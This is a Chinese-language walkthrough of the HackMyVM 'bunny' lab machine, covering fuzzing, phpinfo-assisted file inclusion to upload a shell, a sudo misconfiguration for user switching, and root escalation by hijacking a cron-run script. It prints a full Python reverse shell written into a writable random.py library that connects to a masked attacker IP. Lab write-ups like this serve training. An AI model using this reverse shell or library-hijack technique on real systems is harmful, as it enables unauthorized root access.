hackmyvm-bunny walkthrough

本文详细介绍了hackmyvm-bunny的漏洞利用过程,包括信息收集、获取shell、切换用户和提权至root。通过fuzzing发现index.php参数,利用phpinfo泄漏获取主机信息。由于没有上传点,参考外部文章实现shell上传。之后通过修改random文件以反弹shell,成功提权到root。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

hackmyvm-buny walkthrough

难度(作者评价):difficult

信息收集

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

获取shell

端口信息很少,常规操作,访问80,爆破目录。
80
fuzz1
upload.phppassword.txtconfig.php都是没有实际含义的文本文件。phpinfo.php泄露了主机的相关信息。
phpinfo
能想到的就是index.php是不是存在ssrf。于是利用ffufindex.php进行参数fuzz,得到参数page为实际请求参数。
ffuf
由于allow_url_include是off,所以没有办法进行php://inputdata协议利用。 爆破日志文件也不能被利用来进行本地文件包含获取shell。
burp
同时web服务中没有上传点,于是参考文章php文件包含漏洞(利用phpinfo)复现[1],成功上传shell。

shellupload
ant

切换用户

为了操作方便获取pty,反弹一个shell,查看sudo
www-data
magic文件如下:

#/bin/bash
$1 $2 $3 -T -TT 'sh #'

很简单切换到用户chris,得到第一个flag。
chris
userflag

提权至root

利用pspy64可以看到root每分钟在运行pendu.pypendu
该文件没做什么事情,但是引入了random
在这里插入图片描述
random
从图中可以看到random是可以修改的。于是将random改成一个反弹shell。

chris@bunny:~$ cat /usr/lib/python3.7/random.py
cat /usr/lib/python3.7/random.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("*.*.*.*",5555))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

成功获取root权限。
root

参考

  1. https://www.cnblogs.com/xiaoqiyue/p/10158702.html
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值